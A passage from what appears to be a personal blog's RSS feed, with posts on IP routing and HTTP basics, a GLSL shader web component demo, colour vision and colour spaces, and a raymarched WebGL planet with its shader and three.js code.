&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;192.168.10.0/24 dev wg0 proto kernel scope link src 192.168.10.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;192.168.100.0/24 dev wg1 scope link
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;192.168.110.0/24 dev wg1 scope link
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h5 id=&#34;local-networks&#34;&gt;Local networks&lt;/h5&gt;
&lt;p&gt;There are (were) pretty few IPv4 addresses, so some of them aren&amp;rsquo;t used by public computers (and aren&amp;rsquo;t handled by routers in a same way as public ones). This way you can use these addresses for your home/office appliances without risking to accidentally replace google search by your washing machine ;)&lt;/p&gt;
&lt;p&gt;These networks are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;10.0.0.0/8&lt;/li&gt;
&lt;li&gt;172.16.0.0/12&lt;/li&gt;
&lt;li&gt;192.168.0.0/16&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;http&#34;&gt;HTTP&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;Hypertext Transfer Protocol&lt;/em&gt; is an application layer protocol in the IP protocol family, built for the World Wide Web. Its first version was developed by Tim Berners-Lee at CERN in 1989.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s a request-response protocol (typical client-server model). The client (for example the browser) sends a &lt;em&gt;request&lt;/em&gt; to the server which sends back a &lt;em&gt;response&lt;/em&gt;.&lt;/p&gt;
&lt;h3 id=&#34;the-http-request&#34;&gt;The HTTP request&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;POST /ide/megy/az/adat HTTP/1.1
Host: cica.hu
Accept-Encoding: gzip, deflate, compress
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

alma=12&amp;amp;beka=Beka%20vagyok
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;em&gt;method&lt;/em&gt; - &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;POST&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;, &amp;hellip;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;path&lt;/em&gt; - the path of the requested resource&lt;/li&gt;
&lt;li&gt;&lt;em&gt;protocol version&lt;/em&gt; - well, most probably &lt;code&gt;HTTP/1.1&lt;/code&gt; if you can see it this way :)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;headers&lt;/em&gt; - &lt;code&gt;Host&lt;/code&gt; is mandatory for &lt;code&gt;HTTP/1.1&lt;/code&gt;, everything else is optional&lt;/li&gt;
&lt;li&gt;&lt;em&gt;body&lt;/em&gt; - after an empty line, optional&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;the-http-response&#34;&gt;The HTTP response&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;HTTP/1.1 200 OK
Date: Wed, 13 May 2015 11:12:13 GMT
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html
Server: nginx/1.7.1

}P������0������+@`������G&amp;lt;������x2+T���m���b���_oyH���
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;em&gt;protocol version&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;status code&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1xx&lt;/code&gt; - informational&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2xx&lt;/code&gt; - success&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3xx&lt;/code&gt; - redirection&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4xx&lt;/code&gt; - client error&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5xx&lt;/code&gt; - server error&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;em&gt;headers&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;body&lt;/em&gt; - after an empty line, optional&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;https&#34;&gt;HTTPS&lt;/h3&gt;
&lt;p&gt;HTTPS isn&amp;rsquo;t an other protocol, but it uses SSL/TLS to secure the connection and encrypt the data flow. Certificates might cost money, but there are free options as well, like &lt;a href=&#34;https://letsencrypt.org/&#34;&gt;Let&amp;rsquo;s Encrypt&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;http2&#34;&gt;HTTP/2&lt;/h3&gt;
&lt;p&gt;More efficient expression of the HTTP semantics, but:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;metadata (headers) are compressed and re-used, so they require much less space&lt;/li&gt;
&lt;li&gt;uses a single TCP/IP connection per server (but with multiple virtual channels)&lt;/li&gt;
&lt;li&gt;there&amp;rsquo;s an option for &lt;em&gt;server push&lt;/em&gt; (but hard to use properly, so basically nobody uses it)&lt;/li&gt;
&lt;li&gt;browsers require TLS (https) to support it (although it&amp;rsquo;s not mandatory)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;http3&#34;&gt;HTTP/3&lt;/h3&gt;
&lt;p&gt;Very similar to HTTP/2, but uses QUIC instead of TCP, which is a reliable transport layer protocol over UDP, developed by Google. The SSL connection establishment is baked into the handshake process, so it can be much faster than HTTPS over TCP, and has many other advantages.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Personal note about newer HTTP versions&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For small/medium websites, HTTP/1.1 is pretty much enough. Implementing (the protocol itself) is pretty easy, you can easily issue simple HTTP calls even by hand (via &lt;code&gt;telnet&lt;/code&gt; for example), and a basic HTTP/1.1 server that reports the temperature for example can be implemented in a few lines of C code running on a microcontroller.&lt;/p&gt;
&lt;p&gt;HTTP/2 and 3 are on the other hand huge beasts, with (basically mandatory, and computation heavy) TLS, header compression, connection multiplexing and so on. You most probably don&amp;rsquo;t want to implement any minor part of it for your hobby project - and as I said, you won&amp;rsquo;t pretty much need id for any low traffic site. Big websites (like Google or Facebook) are the ones who desperately need them.&lt;/p&gt;
&lt;p&gt;So if you are in an environment - using standard webserver software, like &lt;code&gt;nginx&lt;/code&gt; - where HTTP/2 or 3 is available, use it. But if you can only use HTTP/1.1 for embedded systems, it will still work. And if you want to connect it to the public internet, there&amp;rsquo;s always the option to put it behind a proxy server, that supports HTTP/2+ and strong TLS.&lt;/p&gt;
&lt;/blockquote&gt;</content>
    </item>
    
    <item>
      <title>&amp;lt;repa-shader&amp;gt;</title>
      <link>https://horak.hu/posts/repa-shader/</link>
      <pubDate>Thu, 18 May 2023 16:32:10 +0100</pubDate>
      
      <guid>https://horak.hu/posts/repa-shader/</guid>
      <description>&lt;p&gt;I&amp;rsquo;m planning to create a custom web component which lets you easily embed your fragment shaders into any website for a long time. You can find some (mostly abandoned ones) on github, so this is my take on the topic (to abandon it eventually 😉).&lt;/p&gt;
&lt;p&gt;It tries to be compatible with &lt;a href=&#34;https://twigl.app/&#34;&gt;https://twigl.app/&lt;/a&gt;, supporting &lt;em&gt;geekest&lt;/em&gt; mode and MRT as well (but only 300 es).&lt;/p&gt;
&lt;p&gt;See details on &lt;a href=&#34;https://github.com/dyuri/repa-shader&#34;&gt;github&lt;/a&gt;.&lt;/p&gt;</description>
      <content>&lt;p&gt;I&amp;rsquo;m planning to create a custom web component which lets you easily embed your fragment shaders into any website for a long time. You can find some (mostly abandoned ones) on github, so this is my take on the topic (to abandon it eventually 😉).&lt;/p&gt;
&lt;p&gt;It tries to be compatible with &lt;a href=&#34;https://twigl.app/&#34;&gt;https://twigl.app/&lt;/a&gt;, supporting &lt;em&gt;geekest&lt;/em&gt; mode and MRT as well (but only 300 es).&lt;/p&gt;
&lt;p&gt;See details on &lt;a href=&#34;https://github.com/dyuri/repa-shader&#34;&gt;github&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;demo&#34;&gt;Demo&lt;/h2&gt;
&lt;script type=&#34;module&#34; src=&#34;repa-shader.js&#34;&gt;&lt;/script&gt;
&lt;style&gt;
#demoshader {
  width: 512px;
  max-width: 100%;
  margin: auto;
  overflow: hidden;
}
&lt;/style&gt;
&lt;repa-shader id=&#34;demoshader&#34; alpha width=512 height=512&gt;
float noise21(vec2 p) {
  p += vec2(23.34, 34.232);
  vec3 a = fract(vec3(p.xyx) * vec3(213.897, 653.453, 253.098));
  a += dot(a, a.yzx + 79.76);
  return fract((a.x + a.y) * a.z);
}
vec2 get_point_by_id(vec2 id, float t) {
  return vec2(
    sin(6821.126 + t * noise21(id * (.456, .681))),
    cos(34.123 + t * noise21(id * 543.21))
  );
}
float df_line(vec2 a, vec2 b, vec2 p) {
  vec2 pa = p - a, ba = b - a;
  float h = clamp(dot(pa,ba) / dot(ba,ba), 0., 1.);	
  return length(pa - ba * h);
}
float line(vec2 a, vec2 b, vec2 uv) {
  float r1 = .03;
  float r2 = .005;
  float d = df_line(a, b, uv);
  float d2 = length(a-b);
  float fade = smoothstep(1.5, .5, d2);
  fade += smoothstep(.05, .02, abs(d2-.5));
  return smoothstep(r1, r2, d) * fade;
}
void main()
{
  vec2 uv = ((2. * gl_FragCoord.xy) - resolution.xy) / min(resolution.x, resolution.y);
  vec3 col = 0.2 + 0.2*cos(time+uv.xyx+vec3(0,2,4));
  vec2 st = uv * 3.;
  vec2 id = floor(st);
  vec2 i_st = fract(st);
  float m_dist = 1.;
  vec2 curr_point = .5 + .5 * get_point_by_id(id, time * 2.);
  float m = 0.;
  vec2 points[9];
  int i = 0;
  for (int y = -1; y &lt;= 1; y++) {
    for (int x = -1; x &lt;= 1; x++) {
      vec2 neighbor = vec2(float(x), float(y));
      vec2 point = neighbor + .5 + .5 * get_point_by_id(id+neighbor, time * 2.);
      points[i++] = point;
      vec2 diff = point - i_st;
      float dist = length(diff);
      if (dist &lt; m_dist) {
        m_dist = dist;
      }
      // line between points
      m += line(curr_point, point, i_st); 
    }
  }
  // extra lines
  m += line(points[1], points[3], i_st);
  m += line(points[1], points[5], i_st);
  m += line(points[7], points[5], i_st);
  m += line(points[7], points[3], i_st);
  // the point itself
  m += 1. - step(.05, m_dist);
  col += .8 * m;
  // Output to screen
  outColor = vec4(col,1.0);
}
&lt;/repa-shader&gt;</content>
    </item>
    
    <item>
      <title>Colors</title>
      <link>https://horak.hu/posts/colors/</link>
      <pubDate>Fri, 21 Apr 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/colors/</guid>
      <description>&lt;p&gt;How do we see colors? How can we &amp;ldquo;define&amp;rdquo; them in a generic way? How do we compare them?&lt;/p&gt;
&lt;p&gt;Well, this isn&amp;rsquo;t an easy topic.&lt;/p&gt;</description>
      <content>&lt;p&gt;How do we see colors? How can we &amp;ldquo;define&amp;rdquo; them in a generic way? How do we compare them?&lt;/p&gt;
&lt;p&gt;Well, this isn&amp;rsquo;t an easy topic.&lt;/p&gt;
&lt;h2 id=&#34;color-vision&#34;&gt;Color vision&lt;/h2&gt;
&lt;p&gt;There are (in most cases) 3 types of cone cells in the human eye that helps us to see colors.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;human_color_vision.jpg&#34; alt=&#34;Human color vision&#34;&gt;

&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pretty easy to see, why we mostly use yellow-green for visibility clothing.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Their response &amp;ldquo;function&amp;rdquo; overlap, it&amp;rsquo;s more efficient for &lt;em&gt;our visual system&lt;/em&gt; to record the differences between the response of the cones, rather than the response of each. With this &lt;em&gt;opponent color theory&lt;/em&gt; we can build a 3D space, where we can place individual colors:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;black vs white (lightness, L)&lt;/li&gt;
&lt;li&gt;red vs green (a)&lt;/li&gt;
&lt;li&gt;blue vs yellow (b)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But this isn&amp;rsquo;t that simple, about 5% of caucasian people have color vision deficiency (~color blindness), which means they either cannot really differentiate colors on one of the &lt;em&gt;color axes&lt;/em&gt; (or both, then they are color blind, indeed). Red-green CVD is the more common (99% of all).&lt;/p&gt;
&lt;p&gt;And that&amp;rsquo;s just the difference in the eye, our brain has also an important role in the color vision, so some of us are capable seeing &lt;a href=&#34;https://en.wikipedia.org/wiki/Impossible_color&#34;&gt;impossible colors&lt;/a&gt;, too.&lt;/p&gt;
&lt;h3 id=&#34;non-human-color-vision&#34;&gt;Non-human color vision&lt;/h3&gt;
&lt;p&gt;And that&amp;rsquo;s just humans.&lt;/p&gt;
&lt;p&gt;Most mammals have only two cones, so cats, dogs, cows, elks and such have very similar color vision as people having red-green CVD.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;dog_color_vision.jpg&#34; alt=&#34;Dog color vision&#34;&gt;

&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Have you ever wondered why tigers are orange striped?
Growing orange pelt is much easier than green, and they prey see them as the same color, so they are basically comouflaged in the forrest.&lt;/p&gt;
&lt;p&gt;Also got pretty clear why hunters use orange visibility clothing&amp;hellip;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;There are also animals that can see very different or much more colors than us (and we cannot even imagine what they might see). Bees for example have 3 types of cones too, but they respond to green, blue and UV wavelengths. Birds have 4 cones, yellow, green, blue and UV.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;bee_bird_color_vision.jpg&#34; alt=&#34;Bee/bird color vision&#34;&gt;

&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;bird_color_vision.png&#34; alt=&#34;Bird color vision demo&#34;&gt;

&lt;/p&gt;
&lt;p&gt;&amp;hellip; and even birds are basically color blind compared to mantis shripms.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;shrimp_color_vision.jpg&#34; alt=&#34;Shrimp color vision&#34;&gt;

&lt;/p&gt;
&lt;h2 id=&#34;color-spaces&#34;&gt;Color spaces&lt;/h2&gt;
&lt;p&gt;A color space is a specific organization of colors. With color profiling of physical devices, it support &lt;em&gt;reproducible&lt;/em&gt; colors: wall paint, print colors, or colors on a monitor or smart phone. It can use for example color names (like Pantone or RAL) or mathematical coordinates (CIELAB, sRGB, &amp;hellip;).&lt;/p&gt;
&lt;h4 id=&#34;color-models&#34;&gt;Color models&lt;/h4&gt;
&lt;p&gt;A color model is an abstract mathematical model to represent colors - as typically 3 or 4 numbers/components. When the model is associated with a &lt;em&gt;precise&lt;/em&gt; description how to interpret the components, then we can use it to represent a colors of a given &lt;strong&gt;color space&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Color model examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;RYB - substractive, what you probably used in the elementary school with water paints&lt;/li&gt;
&lt;li&gt;RGB - additive, what you most probably use during software development (&lt;strong&gt;!&lt;/strong&gt;)&lt;/li&gt;
&lt;li&gt;CMY/CMYK - substractive, color model for prints&lt;/li&gt;
&lt;li&gt;HSL/HSV - cylindrical alternatives to RGB, more intuitive and user friendly&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;!&lt;/strong&gt; The &lt;em&gt;RGB&lt;/em&gt; color model is used for color spaces like &lt;em&gt;sRGB&lt;/em&gt;, &lt;em&gt;Adobe RGB&lt;/em&gt; or &lt;em&gt;DCI-P3&lt;/em&gt;, but without defining the exact color space, the same RGB values might represent different colors on different devices (&lt;em&gt;relative RGB color space&lt;/em&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;srgb-and-friends&#34;&gt;sRGB and friends&lt;/h3&gt;
&lt;p&gt;Nothing &amp;ldquo;special&amp;rdquo;, since we are software developers :)&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;gamut_comparison.svg&#34; alt=&#34;Gamut comparison&#34;&gt;

&lt;/p&gt;
&lt;h3 id=&#34;cie-1931-xyz-and-rgb&#34;&gt;CIE 1931 XYZ and RGB&lt;/h3&gt;
&lt;p&gt;In the late 1920s the CIE RGB color space was defined based on actual human experiments, that basically covers all the colors that are visible to a person (even more) and from that the CIE XYZ color space was derived.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;device-invariant&lt;/li&gt;
&lt;li&gt;serves as a standard reference for many other color spaces&lt;/li&gt;
&lt;li&gt;all coordinates are meaningful, but many (such as the &lt;code&gt;[1, 0, 0]&lt;/code&gt;, &lt;code&gt;[0, 1, 0]&lt;/code&gt;, &lt;code&gt;[0, 0, 1]&lt;/code&gt; primary locations) are &lt;em&gt;imaginary&lt;/em&gt; colors outside of the preceivable colors&lt;/li&gt;
&lt;li&gt;well defined color matching functions
&lt;ul&gt;
&lt;li&gt;for example Y used for contrast ratio checks&lt;/li&gt;
&lt;li&gt;various color diff functions&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Y&lt;/strong&gt; - the luminance (preceived by the observer)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Z&lt;/strong&gt; - ~ the blue component of CIE RGB&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;X&lt;/strong&gt; - a mix of the three CIE RGB curves&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;cielab&#34;&gt;CIELAB&lt;/h3&gt;
&lt;p&gt;The CIELAB (or &lt;code&gt;L*a*b*&lt;/code&gt;) color space was defined in 1976. It expresses colors as three values, based on the human color vison:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;L&lt;/strong&gt; - luminance, perceptual lightness (0 - 100)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;a&lt;/strong&gt; - red-green (unbounded, but -128 - 127)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;b&lt;/strong&gt; - blue-yellow (unbounded, but -128 - 127)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It was intended to be &lt;em&gt;perceptually uniform&lt;/em&gt; which means that a given numerical change corresponds to a similar preceived change in color. Like doubling the value of a positive &lt;code&gt;a&lt;/code&gt; will result in a color &lt;em&gt;twice as green&lt;/em&gt; as the original.&lt;/p&gt;
&lt;h4 id=&#34;cielch&#34;&gt;CIELCh&lt;/h4&gt;
&lt;p&gt;CIELAB based cylindrical color space, which uses polar coordinates - C (chroma, relative saturation) and h (hue angle in the color wheel). (L remains the same)&lt;/p&gt;
&lt;p&gt;Similar to HSL/HSV color models, but LCh is still perceptually uniform like LAB. (!)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;!&lt;/strong&gt; Its uniformity is not perfect, blue hues are predicted badly, but newer color spaces address this issue, Oklab for example.&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;oklab_blue_gradient.jpg&#34; alt=&#34;LAB blue issue&#34;&gt;

&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Why is this useful? It&amp;rsquo;s very hard to create perceptually smooth multi color gradients using the RGB color model, but it&amp;rsquo;s straightforward using LAB/LCH:&lt;/p&gt;
&lt;p&gt;
  &lt;img src=&#34;lab_grad.png&#34; alt=&#34;RGB vs LAB red-green-blue gradient&#34;&gt;

&lt;/p&gt;
&lt;h2 id=&#34;css&#34;&gt;CSS&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;lab()&lt;/code&gt;, &lt;code&gt;lch()&lt;/code&gt;, &lt;code&gt;oklab()&lt;/code&gt; and &lt;code&gt;oklch()&lt;/code&gt; are all covered in &lt;a href=&#34;https://w3c.github.io/csswg-drafts/css-color/#cie-lab&#34;&gt;CSS Color Module Level 4 specification&lt;/a&gt;. Yes, it&amp;rsquo;s still in draft, &lt;strong&gt;but&lt;/strong&gt; at the time of writing Safari, Chrome and Edge supports them already, and they are behind flag in Firefox too! 🎉&lt;/p&gt;
&lt;p&gt;Demo:&lt;/p&gt;
&lt;style&gt;
.lchgradient {
  height: 2em;
  background: linear-gradient(
    to right,
    lab(60.67% -13.59 59.28),
    lab(67.53% 13.67 65.63)
  );
}
&lt;/style&gt;
&lt;div class=&#34;lchgradient&#34;&gt;&lt;/div&gt;</content>
    </item>
    
    <item>
      <title>WebGL Planet</title>
      <link>https://horak.hu/posts/webgl_planet/</link>
      <pubDate>Sat, 04 Feb 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/webgl_planet/</guid>
      <description>&lt;p&gt;Sometimes I have the itch to create something that&amp;rsquo;s not (just) useful, but pleases the eyes.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve started experimenting with webgl a few years ago, mostly in &lt;a href=&#34;https://www.shadertoy.com/user/dyuri&#34;&gt;shadertoy&lt;/a&gt; - but most of my &lt;em&gt;experiments&lt;/em&gt; aren&amp;rsquo;t public.&lt;/p&gt;
&lt;p&gt;This (&lt;a href=&#34;https://horak.hu/posts/webgl_planet/planet.html&#34;&gt;fullscreen&lt;/a&gt;) is one of my favourites. But of course I&amp;rsquo;m still not entirely satisfied with it.&lt;/p&gt;</description>
      <content>&lt;p&gt;Sometimes I have the itch to create something that&amp;rsquo;s not (just) useful, but pleases the eyes.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve started experimenting with webgl a few years ago, mostly in &lt;a href=&#34;https://www.shadertoy.com/user/dyuri&#34;&gt;shadertoy&lt;/a&gt; - but most of my &lt;em&gt;experiments&lt;/em&gt; aren&amp;rsquo;t public.&lt;/p&gt;
&lt;p&gt;This (&lt;a href=&#34;https://horak.hu/posts/webgl_planet/planet.html&#34;&gt;fullscreen&lt;/a&gt;) is one of my favourites. But of course I&amp;rsquo;m still not entirely satisfied with it.&lt;/p&gt;
&lt;p&gt;&lt;canvas id=&#34;scene&#34;&gt;&lt;/canvas&gt;&lt;/p&gt;
&lt;script src=&#34;three.js&#34;&gt;&lt;/script&gt;
&lt;script id=&#34;vs&#34; type=&#34;x-shader/x-vertex&#34;&gt;
  varying vec4 v_color;
  varying vec2 v_uv;
  
  void main() {
  
    v_uv = uv;
    gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );
    v_color = vec4(position.z * position.x * 0.5 + 0.5, position.z * position.y * 0.5 + 0.5, position.z * 0.5 + 0.5, 1.0);
  
  }
&lt;/script&gt;
&lt;script id=&#34;fs&#34; type=&#34;x-shader/x-fragment&#34;&gt;
  precision highp float;
  precision highp int;
  varying vec2 v_uv;
  uniform float u_time;
  uniform vec3 u_mouse;
  uniform vec2 u_resolution;
  uniform sampler2D texture1;

  #define R 1.5
  #define max_distance 300.0
  #define epsilon 0.001
  #define max_steps 200
  #define K 0.37
  #define shininess 2.0
  #define ambient 0.02
  #define bump_factor 0.05
  #define specular_koef .1
  #define diffuse_koef .9
  #define FOV 60.0
  #define sun_distance 1000.0
  #define SPEED .5
  #define PI 3.14159265359
  #define DISTORT true

  vec4 texture3d (sampler2D t, vec3 p, vec3 n, float scale) {
    p = p/PI + .5;
    return 
      texture2D(t, p.yz * scale) * abs (n.x) +
      texture2D(t, p.xz * scale) * abs (n.y) +
      texture2D(t, p.xy * scale) * abs (n.z);
  }

  float rng12(vec2 seed)
  {
      return fract(sin(dot(seed, vec2(127.1,311.7))) * 43758.5453123);
  }

  float rng11(float seed)
  {
      return rng12(vec2(seed, 1.0));
  }

  float smin( float a, float b, float k) {
      float res = exp( -k*a ) + exp( -k*b );
      return -log( res )/k;
  }

  float get_distance(vec3 point) {
    float bump = 0.0;
    
    if ( length(point) &lt; R + bump_factor) {
        // bump = bump_factor * length(texture2D(texture1, point.xy).rgb) / 3.;
      bump = bump_factor * length(texture3d(texture1, point, normalize(-point), 1.).rgb) / 3.;
    }

    return length(point) - R + bump;
  }

  float raymarch(vec3 ray_origin, vec3 ray_direction) {
    float d = 0.0;
    
    for (int i = 0; i &lt; max_steps; i++) {
      vec3 new_point = ray_origin + ray_direction*d;
      float s = get_distance(new_point);
      if (s &lt; epsilon) return d;
      d += s;
      if (d &gt; max_distance) return max_distance;
    }
    return max_distance;
  }

  vec3 get_normal(vec3 point) {
    float d0 = get_distance(point);
    float dX = get_distance(point-vec3(epsilon, 0.0, 0.0));
    float dY = get_distance(point-vec3(0.0, epsilon, 0.0));
    float dZ = get_distance(point-vec3(0.0, 0.0, epsilon));
      
    return normalize(vec3(dX-d0, dY-d0, dZ-d0));
  }

  mat3 rotateY(float fi) {
    return mat3(
        cos(fi), 0.0, sin(fi),
        0.0, 1.0, 0.0,
      -sin(fi), 0.0, cos(fi)
    );
  }

  mat3 rotateX(float fi) {
    return mat3(
      1.0, 0.0, 0.0,
      0.0, cos(fi), -sin(fi),
      0.0, sin(fi), cos(fi)
    );	
  }

  float shadow_sample (vec3 org, vec3 dir) {
      float res = 1.0;
      float t = epsilon*200.0;
      for (int i = 0; i &lt; 100; ++i){
          float h = get_distance (org + dir*t);
      if (h &lt;= epsilon) {
              return 0.0;
      }
          res = min (res, 32.0*h/t);
          t += h;
      if (t &gt;= max_distance) {
            return res;
      }
      
      }
      return res;
  }

  vec4 moon(vec2 uv) {
    vec4 color = vec4(0.0);
    
    vec3 light = vec3(0.0, 0.0, -sun_distance) * rotateY(u_time*.2*SPEED) ;
    mat3 rotated = rotateY(SPEED*u_time/20.) * rotateX(SPEED*cos(u_time/6.)/4.);
    
    if (u_mouse.z &gt; 0.0) {
        rotated = rotateY(.5 - .5 * u_mouse.x / u_resolution.x) * rotateX(- .5 + .5 * u_mouse.y / u_resolution.y);
    }
      
    vec3 eye_pos = rotated*vec3(0.0, 0.0, -4.0);
    vec3 up = vec3(0.0, 1.0, 0.0);
    vec3 forward = rotated*vec3(0.0, 0.0, 1.0);
    vec3 right = cross(up, forward);	
    
    vec3 ray_dir = normalize(up * uv.y + right * uv.x + forward);

    float d = raymarch(eye_pos, ray_dir);
    vec3 point = (eye_pos + ray_dir * d);			
    
    if (d &lt; max_distance) {		
      vec3 point_normal = get_normal(point);
      
      vec3 light_dir = -normalize(light-point);
      vec3 reflected_light_dir = reflect(-light_dir, point_normal);
      float attenuation = 1.0 / (1.0 + K*pow( length(light/sun_distance - point), .4));
        
      float dotp_diffuse = max(0.0, dot(light_dir, point_normal));
      float dotp_specular = pow(max(0.0, dot(ray_dir, reflected_light_dir)), shininess);
      
      // no diffuse -&gt; no specular
      if (dotp_diffuse &lt;= 0.0) dotp_specular = 0.0;
      
      color = 
              vec4(1.0) *
              (ambient + 
                attenuation * 
                (
                    dotp_diffuse * diffuse_koef + 
                    dotp_specular*specular_koef
                  ) * 
                shadow_sample(point, -light_dir)
              ) * 
              pow(texture3d(texture1, point, normalize(-point), 1.), vec4(1.7));
      } else {			
        color = vec4(0.0);	
    }
      
    return color;	
  }

  void main()
  {
    vec2 uv = ((2.0 * gl_FragCoord.xy) - u_resolution.xy) / min(u_resolution.x, u_resolution.y);
    uv *= tan (radians (FOV)/2.0);
      
    vec4 sky = mix(vec4(0.), vec4(.2, .4, .5, 1.), sin(u_time / 12.));
    vec4 color = vec4(0.);
    
    #ifndef DISTORT
    color = moon(uv);
    #else
    float tseed = floor(u_time * 10.);
    vec2 blockS = floor(uv * vec2(24., 9.)) * tseed;
    vec2 blockL = floor(uv * vec2(8., 4.)) * tseed;
    
    float r = rng12(uv * tseed);
    vec3 noise = (vec3(r, 1. - r, r / 2. + 0.5) * 1.0 - 2.0) * 0.08;
    
    float lineNoise = pow(rng12(blockS), 8.0) * pow(rng12(blockL), 3.0) - pow(rng11(7.2341 * tseed), 17.0) * 2.;
    
    vec4 col1 = moon(uv);
    vec4 col2 = moon(uv + vec2(lineNoise * 0.05 * rng11(5.0 * tseed), 0));
    vec4 col3 = moon(uv - vec2(lineNoise * 0.05 * rng11(31.0 * tseed), 0));
    color = vec4(vec3(col1.r, col2.g, col3.b) + noise, 1.);
    #endif
    
    gl_FragColor = max(color, sky);
  }
&lt;/script&gt;
&lt;script&gt;
  let camera = new THREE.Camera();
  camera.position.z = 1;

  let scene = new THREE.Scene();
  let geometry = new THREE.PlaneBufferGeometry( 2, 2 );

  let uniforms = {
    u_time: {type: &#34;f&#34;, value: 1.0},
    u_resolution: {type: &#34;v2&#34;, value: new THREE.Vector2()},
    u_mouse: {type: &#34;v3&#34;, value: new THREE.Vector3()},
    texture1: {type: &#34;t&#34;, value: THREE.ImageUtils.loadTexture(&#34;planet.jpg&#34;)}
  };

  let material = new THREE.ShaderMaterial({
    uniforms: uniforms,
    vertexShader: document.getElementById(&#39;vs&#39;).textContent.trim(),
    fragmentShader: document.getElementById(&#39;fs&#39;).textContent.trim()
  });

  let mesh = new THREE.Mesh(geometry, material);
  scene.add(mesh);

  let canvas = document.getElementById(&#39;scene&#39;);

  let context = canvas.getContext(&#39;webgl&#39;);
  let renderer = new THREE.WebGLRenderer({canvas: canvas, context: context, alpha: true});
  renderer.setPixelRatio(window.devicePixelRation);

  let resize = () =&gt; {
    const w = canvas.parentElement.scrollWidth || 800;
    const h = w * 3 / 4;
    renderer.setSize(w, h);
    uniforms.u_resolution.value.x = renderer.domElement.width;
    uniforms.u_resolution.value.y = renderer.domElement.height;
  };
  window.addEventListener(&#34;resize&#34;, resize, false);
  resize();

  document.onmousemove = e =&gt; {
    uniforms.u_mouse.value.x = e.pageX;
    uniforms.u_mouse.value.y = e.pageY;
    uniforms.u_mouse.value.z = e.buttons;
  };

  function animate() {
    requestAnimationFrame(animate);

    uniforms.u_time.value += 0.01;

    // render
    renderer.render(scene, camera);
  }
  animate();
&lt;/script&gt;</content>
    </item>
    
    <item>
      <title>Bottle Quine</title>
